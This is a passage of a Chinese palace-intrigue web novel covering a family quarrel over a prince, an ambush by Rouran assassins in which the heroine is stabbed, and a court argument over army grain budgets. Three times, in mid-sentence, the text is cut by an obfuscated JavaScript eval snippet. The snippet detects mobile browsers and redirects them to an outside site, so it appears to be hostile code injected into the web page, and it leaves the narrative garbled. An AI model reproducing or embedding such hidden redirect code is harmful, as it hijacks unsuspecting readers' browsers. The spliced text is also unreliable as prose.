伯喻垂眸与她对视,眼眸深处翻涌着粼粼波光:“阿柯,身在朝堂,言行皆不由心。唯有流水,无论人间如何更迭,它始终奔流向东,诚实不变。” 杨柯心中莫名酸楚,抬眸时却轻俏笑道:“现在,有我陪着你。下回你再来时,不再是一个人了。” 伯喻神色动容,将她重新拥入怀中。朝霞的茜红软软落于其身,为两人身影镀上一层霞光。 “烽火曾熔并蒂莲,宫墙压碎凤头笺。”甜腻歌声忽从对岸酒坊飘来,“山河换骨春难老,犹有离歌入暮烟……”尾音的余韵被河风扯得支离破碎,随之散入粼粼波光,顺着水流没入远方。 二人继续上马前行,须臾的功夫,马蹄停在了一座宅邸前。门上匾额刻着三个烫金大字——“宣王府”。 刚下马,门口便迎上来一队人。其中一个老管家脸色掩饰不住的焦急:“殿下,张意初大人求见。” 伯喻徐徐道:“有说是何事?” 老管家垂了下眼:“今日督粮官苏大人去了紫英阁,见了羲王府的人。” 伯喻眉头旋即皱起:“张大人来了多久了?” “半个时辰前便到访,此时正在桐芜厅内等候。” 伯喻脸上三分歉意,转头对杨柯道:“阿柯,你先回家,明日一早我会派人来接你。” “你快去吧,我一个人回去便是,”杨柯看了一眼身后的管家和侍卫,见他张口想再补充什么,忙握了握他的手,“放心。” 伯喻立即明白了她的意思,对着面前一身银色窄袖长袍的侍卫道:“尧光,你先带杨姑娘回去。” 尧光的目光在杨柯脸上停留了一秒,立即应道:“是,殿下。” 马车到了杨府,杨柯刚踏进家门,正撞见端着水盆走过的平儿。平儿饶是没敢相认,定睛一看,才迟疑道:“小……小姐?”这一嗓子把众人都从房屋里唤了出来。 “姑娘,你怎么回来了?” “快!快去通报老爷夫人!” 众人围着杨柯,叽叽喳喳,“柯儿你怎么出的宫?” “宫里能放人出来吗?” 杨柯笑着捂着耳朵,无奈道:“你们小姐我如今可是勤政殿里打过转的人,便是皇帝老儿拦着,我也能翻着跟头回来!” 话音未落,前厅 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庭院的穿堂风忽然凝滞下来,杨涛望着女儿颈间露出的月牙玉环,重重叹了口气:“柯儿,你长大了,爹不拦着你交朋友,可皇家子弟……碰不得啊。” 杨柯脸色一变,陡然急道:“这京城哪家女儿不是一门心思想进皇宫?如今皇子对我有意,你们反而要棒打鸳鸯!” 程玉槿声音发涩:“我们做爹娘的,哪里不希望你好好的?当年送你入宫时,娘怎么嘱咐的?离着那些有权有势之人远远的。宣王位高权重,不能考虑。” 杨柯反问道:“若他是真心待我呢?” 程玉槿望着女儿倔强的眼神,轻声道:“此时是真心,彼时呢?” 见杨柯眼底暗淡无光,杨涛心有不忍,柔声道:“柯儿啊,你进宫这段时日,想必也见过不少纷争了。宫中的感情,哪有纯粹一说?真心又能坚持几时?等你出宫,我们在京城中找个好男儿,向皇上求门亲事便是。” 爹娘这番话着实刺耳,杨柯又想到伯喻对自己的一番真心,心中五味杂陈,一股委屈化成了眼泪,落了下来。 程玉槿搂住她的肩膀,安抚道:“是爹娘不好,不该一见面就说这些。” 杨柯抬起头质问道:“你们也知道说错了?” 程玉槿愣了愣,“娘只是……只是担心你,”而后又纠正道,“我们说的道理,绝对不会错。” 杨柯挣开额娘的怀抱:“你们根本不懂!你们连我和他相处时的模样都没见过,凭什么断定他会负我?” 程玉槿怒道:“正因你此刻陷得太深,看不明白!我和你爹虽远离庙堂,但你师父当年在朝堂九死一生,他最清楚!” “师父才不会像你们这般迂腐!”杨柯梗着脖子打断,额角青筋微跳。 程玉槿笑了笑:“等你师父来了,看看他到底作何感想吧。” 杨柯见她表情轻蔑,心中不免愤怒。 杨涛见母女二人剑拔弩张,开解道:“柯儿,爹娘今日不逼你,但日后你总会明白,”他苍老手掌拂过女儿泛红的眼角,“你和伯喻二人,终究是镜花水月一场。” 连一向站在自己这边的爹爹也如此坚决,杨柯心里不禁感到深深的悲凉,再多说一句也是无用,只好埋首沉默离开,独留下杨涛与程玉槿二人站在原地。 凉风吹过,扰得梁柱上的风铃叮当作响。 此刻,杨家三人的心中,皆是说不出的沉重。 37.刺杀 第二日一早,一路车马停到了杨府门前,杨柯已经在门口等待了。 尧光下车道:“杨姑娘,殿下晌午前还有些事要办,命卑职前来接您,您是先回宫呢,还是去王府呢?” 杨柯回身望了望府内,垂眸道:“先去王府吧。” 回到宣王府,杨柯跟着尧光在桐芜厅等待,不过多时,一袭白衣便出现在眼帘里。杨柯看到他的那一瞬,心里的阴霾全都消失了。 “阿柯,让你久等了,我们走吧。” “好!”二人十指相握,一齐上了马车。 伯喻望见她略显憔悴的面容,试探着问道:“昨夜见了爹娘,怎么看你的样子,好像不太开心?” 杨柯浅笑道:“还不是我娘拉着我絮叨了一晚上,觉都没怎么睡好。”说完笑着揉了揉眼。 伯喻抚上她的头:“儿行千里母担忧,想来伯母也放心不下你。” 杨柯听到此,又想起昨晚的争吵,心里倍加难受,嘴上却语气轻松:“哪里的事,从小他们管的就不多,放任我在外面胡闹,现在进了宫,有人看管着,他们更不会担心了。” 伯喻听言,脸上忧色稍减,又正色道:“这些天实在太忙,过些日子,我定登门拜访伯父伯母,让他们放心。” 杨柯笑着靠在他的肩上:“不急,有你陪着我,他们是一百个放心。” 二人相视一笑,相握的手更紧了。 杨柯嬉笑道:“昨日我娘还说,想亲眼见见玉树临风的宣王呢。” 伯喻褐色眼眸泛起亮光:“伯父伯母已经知晓了?” 杨柯的目光闪了闪,点头道:“早就知道啦。师父对你盛赞颇多,他这人最是严苛,能得他一句称赞的晚辈可不多。”她眼中狡黠之色露了几分,“再加上宣王殿下盛名在外,这京城里但凡是个女子,都对殿下有几分好奇。” 伯喻将她的调笑尽收眼底,装作疑惑道:“哦?我倒是想知道,阿柯对我有几分好奇?” 杨柯下巴一扬:“我自然是没有了。” 伯喻装作奇道:“为何?” 杨柯坏笑道:“因为你已经被我捕获了。” 二人说笑间,忽闻车外马夫猛地一“吁”,马车陡然一滞,二人的身子冲得向前一俯,一道高喝响起:“有刺客!护驾!” 气氛瞬间凝固,“阿柯,你在车内坐好,切勿出去。”伯喻掀起帘子就要出去,杨柯抓住他的手臂,“不,我要和你一起!” 伯喻转头看向她,眼中犹豫散去,拉起她的手便往外去。 帘子方一掀开,一道长剑横劈而来,伯喻抬手一挥,三道玄冰刃正中刺客脖颈,手里的长剑旋即坠落,伯喻接住长剑,放到了杨柯手里,“阿柯接着!”话音未落,一个旋身将她护在身后,近处一声暴喝乍起:“拿命来!” 只见一道黑影贴地掠来,伯喻左手揽住杨柯腰肢急退三步,右手二指如铁钳般扣住劈面而来的刀背。刀刃震颤间,他忽地抬膝撞向刺客小腹,趁对方弓腰闷哼之时,指节反叩刀柄,九环刀竟倒转半圈,生生嵌入偷袭者肩胛骨里。 伯喻瞥了对方的九环刀一眼,用柔然语冷声道:“你们来大夏,还不忘带上柔然的东西。” 那刺客疼得咬牙:“我生是柔然人,死是柔然鬼。不像你,死到临头还不知道为谁卖命。” 伯喻的眼眸瞬间冷了下去,手掌彻底覆上刀柄,将那九环刀全然扎进刺客身体,那刺客惨叫一声,跪扑向地。 杨柯听不懂他们的对话,只是眼睁睁看着伯喻亲手将刺客折磨至死,她从未见过他如此残忍冷血的一面,一时僵在原地。 护驾的侍卫们已经与黑衣人打成了一团,可没想到一波未平一波又起。一排刺客犹如蝗虫一般从墙外跳出,个个身手矫健,目露凶光。 “他们是谁派来的人?”杨柯大声问道。 “柔然将军赛罕,他一直想要围剿影刃阁、取走我的性命。”伯喻凝着来势汹汹的黑衣大军,眼神里尽数是冰冷杀意。 又一黑衣劈头而来,伯喻忽地将杨柯推向车辕,他五指如钩扣住刺客腕骨,反手夺下长刀掷向半空,刀光未落,断刃已捅入另一人肋下。 杨柯握紧手中长剑,踉跄间顺势斜劈,刀刃擦着伯喻耳畔掠过,削断了两支冷箭翎羽。 “哐当!”伯喻抄起车辕绳索,绞住两名刺客的脖颈,砸向地面,颅骨碎裂声混着马匹惊嘶炸开。 杨柯见对方被伯喻打得不堪一击,大声笑道:“好个落花流水!看你们以后还敢不敢再来大夏!” 忽然,马车后方,一蒙面刺客足尖点地疾步抢进,瞅准他二人间隙,手中短刀直刺伯喻后心。 杨柯回眸间惊觉刀光已至三寸,惊呼半声:“小——”,手里攥紧伯喻的衣襟奋力横拽,刀锋堪堪擦着伯喻的肋下掠过,白衣铮然撕裂。 那刺客见突袭落空,反手倒转刃口横削,杨柯鬓边青丝应声而断,她来不及躲闪,在刀刃重新袭来之际,竟合身撞入刺客怀中。刺客被这不要命的冲势带得连退三步,后腰猛地撞上车辕,腰肢被厉声折断,闷哼一声,扬起手中的断刃往怀间狠狠扎去。 “噗!” 短刀深深刺入杨柯的肩胛,鲜血瞬间染红了她的衣衫。 伯喻闻声回头,双眼瞬间被怒火充斥,一个旋身抢至车前,五指如铁钳扣住刺客腕骨,往车辕猛地一磕,刺客骨头应声碎裂。他揽住杨柯腰肢旋身飞踢,足尖正中刺客喉结,将他踹飞出去。 “阿柯!” 伯喻抱住缓缓倒下的杨柯,杨柯面色苍白,气息微弱,双手无力垂落,长剑掉落在地,“伯喻……别……管……我……” 气息随着话音减弱,而后双眼一闭,倒在伯喻怀中。 血珠顺着伯喻的手指蜿蜒而下,素白的衣袖霎时浸透成了暗红色,他的眼眸也随之被染作鲜红。 一名刺客手持长剑朝着伯喻疾步攻来,眼看着刀锋逐渐逼近,斜刺里忽然闪过一道银光,刺客喉间立时迸出鲜血,旋即仰天而倒。 “竟然杀到大夏的京城来了,你们的胆子也太大了些。”林骞手握银鞭,翩然立于刺客尸体前。 十余名逍遥居弟子如鹞鹰掠地,三人一组结成铁网,短刃贴地横扫,几十名刺客足踝立时血雾喷涌,哀嚎声一片。 伯喻撕开衣摆缠紧杨柯背上刀伤,忽觉脑后腥风扑至。 未及转身,林骞已腾空翻过他头顶,银鞭绞住刺客长刀,顺势一带,鞭梢倒卷缠住刺客脖颈,竟将其凌 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15470840|165772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 空甩出,脊椎砸向石墙,“咔嗒”一声,脆骨断裂,只听林骞冷冷道:“不自量力。” 逍遥居众人此时已收拢战圈,四名弟子扯开渔网般的铁链阵,链头铁锥专取刺客膝窝,顷刻间,黑衣尽数应声栽倒。 “逍遥居来迟!”林骞几步奔向伯喻,看着他怀中苍白的杨柯,从袖中掏出青玉匣,指尖挑出朱红药丸递了过去,“先服下十灰散,能止住她的血。” 伯喻接过药丸,塞入杨柯齿间:“多谢逍遥居出手相救。” “解救大夏皇子,是逍遥居的职责。不过,今日倒并非是我的意思。”林骞顿了顿,“他早早便命人潜伏在王府附近,保护殿下的安危。” 伯喻神色一凝,旋即浅笑道:“多谢。” “不必不必,倒是拜托伯喻帮忙隐瞒些,”林骞的目光落向双眸紧闭的杨柯,“若是让他知晓了小柯的伤势,恐怕我们就没好日子过了。” 宣王府内,杨柯已然安静地躺在床榻上,呼吸平稳,只是脸上的血色褪去,唯余一张素净的小脸露在外边。 伯喻静坐在床前,望着杨柯的睡颜,眼中一潭柔波荡漾着忧思。 芮伊推门进来:“公子,有新消息了。”她从怀中探出一个香囊,素绢上用月白丝线勾出一轮弯月,月下兰草与白芷交缠生长。 见伯喻眸中疑惑,她接着道,“是柳无暇。” 伯喻听言一震,随后沉声道:“通知阁主了吗?” “阁主已经看过。上面所指的身份,与我们这些年收集的线索完全相符,并非虚假。” “好。”他接过香囊,放入袖中,“今日这批刺客是什么身份,确定是赛罕指派?” 芮伊点头:“除了他,没有别人了。他知道了赛比海的消息,怒火中烧,扬言要灭了影刃阁,更要将公子赶尽杀绝。”目光落到床榻上的杨柯,叹了口气,“可怜杨姑娘跟着影刃阁受罪了。” 伯喻凝声道:“此事罪过在我。我不该轻易带她出来。” 芮伊宽慰道:“公子莫要自责,我瞧杨姑娘身体强健,虽受了刀伤,所幸抢救及时,过几个时辰她便又是活蹦乱跳的样子。” 伯喻脸上的戚容并未随着芮伊的话语稍减:“那刀若是未断,恐怕就不是今日这番局面。” “老天保佑,杨姑娘福大命大。公子莫要担心,等我们解决了眼前要务,赛罕也就没机会再作威作福了。”她顿了顿,“不过,逍遥居那边……” 伯喻沉吟道:“他们只是来探我的意思。刘生的事还未解决,先不要轻举妄动。稳住他们,以免横生枝节。” 芮伊迟疑道:“据线人消息,逍遥居并不知晓我们的目的。公子身份特殊,恐怕……即便影刃阁不做什么,他们也会横加阻拦。” 伯喻柔声道:“不必担心,这几日我会去跟逍遥居协商。” 芮伊微微欠身:“有劳公子了。” 伯喻点了点头:“你先去忙吧。” “是。”芮伊退了出去。 伯喻侧首向立在一旁的尧光吩咐道:“尧光,先带阿柯回凌薇苑,命大夫前去检查。”他停顿了一分,又叫住尧光,“且慢,切记此事不要声张。” “是,殿下。” 38.隐痛 杨柯从床榻上醒转过来时,日头已经过了中天。 “姑娘,你终于醒了。”青桃的声音跳进了耳朵里,她循声望去,自己已经在凌薇苑里了。 “伯喻呢?”她支起身子,背上传来一阵剧痛,疼得她满脸皱起。 青桃赶紧将她扶住:“殿下还未回宫。昨日尧光送了姑娘回来,可把我们吓坏了。后来御医院的萧大夫也来了,替姑娘开了些药方,所幸如今醒转。” 杨柯抓着青桃的衣袖,急忙问道:“伯喻的安危如何?尧光跑到哪儿去了?他有没有提到殿下的情况?” 青桃抚着她的手道:“姑娘放心,殿下既然派人送你回来,他自己一定也安全无虞。” 杨柯紧皱的眉头稍微松懈了些,但不知为何,她仍感到深深的不安。 柔然赛罕时刻想要取走伯喻的性命,今日是侥幸躲过了,那明日呢?后日呢? 如今她在后宫,对宫外之事一概不知,万一发生了什么危险,她和旁人又有何不同?唯一能做的只有苦苦等待。 这无根无凭的惶惑恍若悬在崖边的蛛网,宫外的风稍一吹来,便是坠入万劫不复的深渊。 杨柯将头深埋进掌心,不知不觉重重叹了口气。 “姑娘是怎么了?”一旁的青桃见她满脸愁容,心也跟着揪了起来,“到底是何人想要杀害殿下和姑娘?” 杨柯自然不能如实回答,只好模糊回道:“我们也不知晓,也许……有人记恨户部。”说完,杨柯更觉无助,握住她的手,指尖微微发颤,“青桃,我该怎么办?” 青桃头一回见到杨柯如此彷徨失措的样子,心里也跟着焦急起来。 她眼珠子转了几转,开口道:“过几个月就是伴读调换了,姑娘既然担心殿下的安危,不如去翠微殿做他的伴读。前几日我听杜衡提起,伴读的调换好像只需经过皇子和范夫子的同意即可。” 杨柯心中又重燃起了希望,若自己调去伯喻身边,岂不就能每日陪伴他,再也不用白白担心了? 她蓦地站起来,穿起衣裳就要往外走。 “姑娘去哪儿?”青桃攥着团扇愣住。 “御书院。”话音还未落地,人已经出了门去。 宫道上,远远走来一女子,见了来人,杨柯向对方拱手道:“公孙大人。” 公孙抬手示意她免礼:“太巧了,我正要去找你呢。” 杨柯问道:“大人有何事?” 公孙道:“上回粮道一事还要感谢你,若不是你提供了线索,我们或许到现在都想不到是闸口出了问题。” 杨柯想起了紫英阁里发生的乌龙,脸上微微一红,尴尬笑道:“我也是误打误撞,若是彻底整治,还得靠——”她猛地意识到宇文泰的布局皆在暗中进行,若是一个不小心说了出来,叫公孙知道,可要坏了好事,于是赶忙改嘴,“还得靠公孙大人和尚书局的前辈们着力调查,清除奸害。” 公孙见她结结巴巴的样子,不免失笑,但杨柯身为晚辈,这几次接触下来又足够谦虚认真,公孙对她增加了些好感,于是称赞道:“你刚进入宫中,能对政务如此上心,着实不错。”说着,仰头叹道,“时间过的真快呀,你们进宫都快半载,下半个月,便到了女使轮换的时候了。”公孙的语气和缓,停顿了一会儿,“你可有更换陪读皇子的打算?” 杨柯这才明白了她的来意,于是欣喜道:“巧了,我正想和大人商量此事呢。” 公孙扬眉道:“哦?你也想去羲王身边?” 杨柯顿时被噎住:“我说的是……宣王。” 公孙尴尬了一瞬,又笑道:“户部那边就不必了,有我在呢。”她略了一眼杨柯的表情,又继续道,“阿柯,姐姐明白你和伯喻如胶似漆,但若你去了伯喻身边,他还怎么做事啊?户部要是没了他,姐姐我不得累死?” 杨柯耷拉着肩膀,为难道:“可是……” 公孙见她不愿,又握住她的手:“尚书局里召进来的伴读呢,对经史子集了解的倒是占多数,唯独少了深谙兵家之事的人才。我瞧你会武功,性子直率,倒适合去羲王那磨练磨练。” “尚书局不是只负责内廷吗?为何需要涉足兵部?” “诶!这你就不懂了,兵家之事乃国之根本,岂能轻视?你若去了兵部,也算帮你师父。” “我师父?” “对。据说,他近日与易大人走得很近,你也知道,朝中章家与易家势不两立,若是你去了羲王那里,若哪一天两派针锋相对了,你倒是能替你师父分担些风险。” 杨柯想到师父,心里越发为难了。 公孙见她埋着头不言不语,安慰道:“阿柯,羲王最近忙着军粮一事,少不了与户部来往,纵使你为兵部做事,也不影响你和伯喻见面。” 看来公孙坚持要调她前往兵部,直硬拒绝是没有机会的,若她能多提些户部的事,为其出力,或许还有转圜的余地,于是道:“前几日,我和伯喻去了流民所,有些拙见想听听大人的意见。” 公孙果然眼睛一亮,抬手道:“你讲。” 杨柯道:“义仓粮食终究有限,而流民人数众多,何不搭个‘互市学堂’的台子?” 公孙疑惑道:“学堂和集市?难道是在集市里摆上学堂,教流民赚钱之道?” “大致是这个意思,”杨柯徐徐道,“滁州流民精于农事,正好教京城农户改良灌溉之法;咱们城里的纺织工坊,也能派些巧手工匠,教他们织锦裁衣的门道。这样一来,滁州流民可凭农耕技艺换银谋生,借纺织学习掌握新业,逐渐在京城扎根落户;而京城农户呢,跟着滁州人改良了灌溉之法,地里收成能多不少,粮食吃不完还能拿去卖钱。等到滁州流民在织坊里上手了,不仅能帮忙干活,还能把老家那边的花样带过来,和京城的样式一结合,保准能做出新鲜好看的布料。”说完,她挠挠头,“不过是我的浅见,也不知道能不能行得通。” “想法不错,”公孙扶额思索,目光满是赞赏,“你可有跟殿下提过?” 杨柯想起上次的刺杀一事,磕磕巴巴道:“上次……时间紧急,没机会和他说。若能得到大人的建议,再向伯喻提议岂不是更好?” 公孙苦笑着摇头:“户部这段时日为着流民生计之事头疼,讨论了许多回,也没给我们一个说法。” 杨柯听言来了劲:“我这就去写个条陈出来!” 公孙忙拉住她:“先别急,此事涉及部门众多,恐怕会有人从中阻拦。”她拧了拧眉,抬眸时眼中多了些郑重,“羲王那边的事暂时缓缓,反正伴读调选还有段时日,等我先去同户部商讨商讨,再来同你细聊。” 杨柯心里顿时轻快了不少,嘴上立即答应道:“好。” 公孙走后,杨柯心里又开始思念起伯喻来,不知何时再能见到他,念及此,脚上的步伐又加快了。 残日西沉,云幕高张。 渭水河畔,李元正骑马缓行,官道扬尘处,一辆雪色马车缓行而来。车帘锦缎虽然未见龙纹凤绣,但车辕上缠绕的鎏金铜铃却昭示着非比寻常的身份,这马车正是宣王府的座驾。 李元勒缰下马,面前的马车也随即停下。车帘撩起,露出了意料中的少年容颜。 十年前,辞官的李元应诏入宫赴宴。宴席上,皇子们在生母示意下,一个接着一个,争相向皇帝展示自己的学有所成。皇帝淡然处之,而百官们则不紧不慢地观赏着小皇子们的争宠。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15480393|165772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >但总有一些人,能够邀天之好,轻易而举地获得所有人的喜爱。 七皇子出现时,大家的目光毫无犹疑地被吸引过去了。 李元这辈子见过许多人,但与芝兰玉树这四个字如此契合的,只有宣王伯喻。不仅皇帝对他尤为宠爱,就连满朝文武也毫不吝啬地向他示好。 可后来,李元在这个少年的眼睛里,看见了连自己都为之惊叹的东西。 那是一种恨意和歉意交织的情感——他抱歉着战乱带来的贫穷、疾苦,憎恨着权力底下的残忍、丑恶。 母亲的病逝、柔然的腐朽,身为敌国皇子的无力,正如他的血脉一样,将他生生撕裂。 即使李元早已抽身庙堂,但一直以来,这个少年的消息总是引他留心。 近日,滁州流民涌入京城,引发民乱。正如五年前坚持修建江堰一样,伯喻力压众议,坚持将流民就地安置。 官道上,李元翻身下马,恭敬作揖:“微臣参见殿下。” “李先生,别来无恙。”伯喻抬手回礼,舒然淡笑道,“先生怎么从西城的方向来?” “老朽有个酒友住在西城,回来的路上刚巧路过流民营,于是停留片刻,看了看营中情形。” 伯喻眸光微亮,语气带着敬重:“即使远离庙堂多年,先生仍是心怀苍生。” 李元捋着胡子,哈哈笑道:“少不识愁,老难忘忧。殿下抬举老朽了。”他笑声渐敛,“多亏了殿下,滁洲涌来的流民得以安生。” 伯喻拱手道:“李先生博古通今,不知对户部眼下的安置之策,可有什么见教?” 李元望着天边残云,低吟道:“壁破风生屋,梁颓月堕床。哪知牧民者,不肯报灾伤。”话音顿住,苍老嗓音里裹着叹息,“百姓流离失所,最怕的便是无枝可依。殿下能让他们落地生根,乃为雪中送炭的良策。” 伯喻谦逊一笑:“得先生一句认可,胜过百道嘉奖。” 李元憨笑道:“殿下有治国大才,岂是我这糟老头子能指指点点的?”说完蓦然长叹,浑浊老眼望向宫阙方向,“或许,以后的大夏更要仰仗殿下了。” 伯喻眼眸微闪,浅笑颔首道:“伯喻生不逢时,未能像大哥二哥一般,得先生耳提面命,实在是遗憾。” 李元爽朗一笑:“殿下不必拘礼,往后倘若有何需要,一纸诏书,我即刻入宫。老骨头闲散惯了,早没了那些弯弯绕绕的规矩。”他忽而展眉道,“说来也巧,老朽有一徒儿,今年入宫当伴读,不知殿下可认得?” 伯喻脸上划过一丝苦涩:“阿柯与我已是知己。她才思敏捷,不愧为先生足下弟子。” 李元笑道:“若是如此,便最好不过了。阿柯生性调皮莽撞,还望殿下海涵。” 伯喻拱手道:“先生客气。” 二人告别后,马车继续往前行驶。伯喻静坐车内,闭目养神,指尖轻轻摩挲着衣袍下摆,丝绸在他掌心揉出深深褶皱。 忽然“咔哒”一声轻响,一只香囊从他衣袖中掉落,上面绣着的弯月与今日的格外相似。伯喻伸手拾起香囊,手却忽然顿住,指尖微微颤抖。 凝视良久后,他才终于解开丝绳。纸条上的字迹刺入眼帘,伯喻浑身剧震,眼神瞬间暗了下去,整个人似乎要与黑暗融为一体。不知过了多久,伯喻再抬起头时,那双褐色眼瞳中已是深深的愤怒,但在那愤怒之下,是稠得难以化开的悲怆和绝望。 车外夜色渐深,远处传来梆子声响。寒夜的白霜已经暗中入侵,森森冷气匍伏于地,不动声色地占领下每一寸土地。在满身冰冷之外,唯有胸前的月牙玉佩,固执地散发着温热。 满身的冰冷之中,唯有胸前那枚月牙玉佩,固执地散发着温热。 39.怒火 日头高悬中天,灼热阳光如万千金针,从头顶倾泻而下,直扎在人的皮肤上,似要穿进血肉,再刺进心里。 勤政殿内,皇帝立于龙椅前,脸色阴沉,扫视了一圈来人,信手拿起案上的一封奏折:“郑仪,你来给朕念念这封奏折。” 郑仪毕恭毕敬,伸手去讨,领来了奏折,乖乖诵读起来。他一边念,汗珠子一边从额头上冒出来,念到越后面,汗滴冒得越多。好不容易念完,已是满头大汗。 原来是今日朝上,新任督粮官苏明义呈递了这封奏折,文中提到,他屡屡向兵部筹措军粮却一再遭到拖延,后来经询问才发现,根结在于兵部始终拿不到户部的拨款去买粮食。为解决此事,他多次向两部官员协调,却频频无疾而终。最后,他已无力回天,欲辞官回乡。 “无钱购粮,无粮可运。”皇帝咬着牙从齿缝中一个字一个字地蹦出,手上的楠木念珠也不转了。 “啪!”茶水溅了一地,众人皆跪伏在地,不敢作声。 “当真可笑!朕做皇帝这么多年,居然还有上任不到一月的官员主动请辞!” “皇上,苏明义新官上任,不懂事儿,您莫同他计较。”一旁的李和瑞赶紧安慰道,没想到他这安慰倒不如不说,皇帝听了更是恼火。 “不懂事儿?今日他若不跟朕禀告实情,这些人还要瞒朕到什么时候!”说话间,拿着念珠的手向空中猛力一挥,念珠噼里啪啦地作响,他怒目扫向了跪在殿内的兵部、工部、户部三部核心官员,还有负责此事的端王、羲王和宣王。 宇文泰率先站出来,神色平静:“父皇息怒,儿臣身为兵部官员,未及时上报军粮购置难题,确有疏忽。起初见前线军粮尚可支撑,为免惊扰圣听、引发军中恐慌,便想等情况明朗再定夺。但事态超出预期,如今兵部已无力独自承担军粮供应。” 皇帝闻言,眉头紧锁,怒意直逼羲王:“泰儿,身为兵部主事,你竟敢疏忽军需!前线将士与国家安危岂容儿戏?以牺牲真相维护军心,是不忠不义!朕要的是直面问题、敢于担当的臣子,不是粉饰太平的庸才!现在说,你打算如何解决军粮短缺?拿不出办法,绝不轻饶!” 面对皇帝的怒斥和诘问,宇文泰倒也不慌不忙,继续道:“父皇莫急,关于军粮短缺之事,儿臣其实早有布局。” 皇帝闻言,浓眉挑起:“哦?朕倒要听听你有何布局。” 宇文泰道:“儿臣半月前密令越州粮商江植前来纾困,一万石军粮此刻应已运抵前线。” 话音落下,气氛顿时松快了。 “嗯,做得不错。”话锋一转,语气又沉了几分:“不过,你筹措粮款的银钱从何而来?” 宇文泰神色镇定:“儿臣之所以选中江植,正是看重他手中掌握的万亩粮田。这万亩粮田能让朝廷以最为低廉的价格筹措军粮,节省国库开支。这次粮草供应出了纰漏,儿臣掌管兵部,自当尽心补救,因而购粮费用由我羲王府承担。” 皇帝听完,脸上的怒意收回了许多。 一旁听着的张意初这时插言道:“陛下,虽然羲王殿下安排了江植疏解了暂时的困顿,但此举只能解燃眉之急。这回,众粮商提出的价钱实在太高,户部已经无力承担。” 皇帝浓眉又再挑起:“户部到底是怎么回事?拨给军粮的钱款是不是早就不够了?” 张意初解释道:“近年来,国家开支庞大,加之天灾频仍,国库收入锐减。户部虽竭力筹措,然巧妇难为无米之炊,实难维持前线所需。” 郑仪擦干了额上的汗,也出来说话了:“还请陛下见谅,臣连日来与户部同僚商讨出路,暂时还未想出个合适的法子……” 皇帝已然不耐,陡然截道:“那你要怎么办?等着朕去给你办?” 此话一出,郑仪又开始冒汗。 伯喻缓缓起身,温言道:“回禀父皇,六部这月的票拟三日前才交到户部手中,这三日儿臣与户部各位长老连夜处理了各部的账本和预算。除了工部、兵部以外,都可通过票拟,但唯有一事,户部始终无法定夺。” “什么?”宇文拓惊讶发问,声音越来越响,“前线战事紧张,工部和兵部的不签,你们户部想要干什么?” 皇帝瞪了宇文拓一眼,对伯喻问道:“喻儿,你说的无法定夺,到底为何事?” 伯喻并不受宇文拓的影响,仍旧不慌不忙:“户部这月的预算减去其余四部后,只剩下三万两,而工部索要的两万与兵部的二万两军粮费用刚好冲突,儿臣不知该签哪部才好。” 宇文拓大声道:“荒唐!我们工部的预算哪里就和兵部的冲撞了!你们户部是怎么算的账,明明有十万的预算,怎么只剩了三万?” 张意初缓缓道:“端王此言,微臣不解。工部户部虽各有职分,终究同属大夏朝廷。为何到了殿下口中便成了‘我们工部’、‘你们户部’,明明都是大夏的户部、大夏的工部。” 宇文拓怒意直冲而上:“你少跟我玩文字游戏,我问的问题你怎么不回答?” 张意初笑眯眯地回道:“照殿下的意思,工部所议,户部必须听令即行。既然殿下已有总理六部之责,不如当即向陛下请求圣旨,将户部并归工部,既掌枢要,何妨再添一司?” 听他出言讥讽自己当初被皇帝废去协理六部的大权这样的丑事,宇文拓更是怒火中烧,登时便指着张意初,开口大骂起来:“归个头!你个张意初——” “宇文拓!”皇帝拍案怒吼,手上的念珠蓦地甩到宇文拓的脸上,“你要做什么?在朕面前也如此嚣张跋扈,朕看你是等不及要坐上皇位了是不是?” 此话一出,众人皆惊得纷纷跪下,宇文拓一下子瘪了气焰,哭丧着道:“父皇息怒,父皇息怒。儿臣是看户部针对儿臣,才这么生气的。”他抬头望着皇帝,“父皇,修建青峡关闸口一事,也是易大人负责,他做事向来稳当,若儿臣预算出了问题,易大人那边又怎么可能出问题呢?” 皇帝的气沉了下去,眼色一动,唤道:“传易望林。” 须臾,易望林佝偻着背缓缓走来,蟒纹补服随着步伐有节奏地摆动。 “老臣恭请圣安。”说着便要伏地叩首 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15482762|165772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 皇帝连忙拦住:“易老,今日召你来,是想问问工部预算的事情。三日前户部收到工部的票拟,想问问易老,这预算是否准确?” 易望林笑了笑,不紧不慢道:“陛下明鉴,工部账目皆经老臣过目。若有差池,岂不是臣督导失职?” 宇文拓睨着张意初冷笑道:“父皇,工部的预算不会有错,定是户部在别的款项上算错了。” 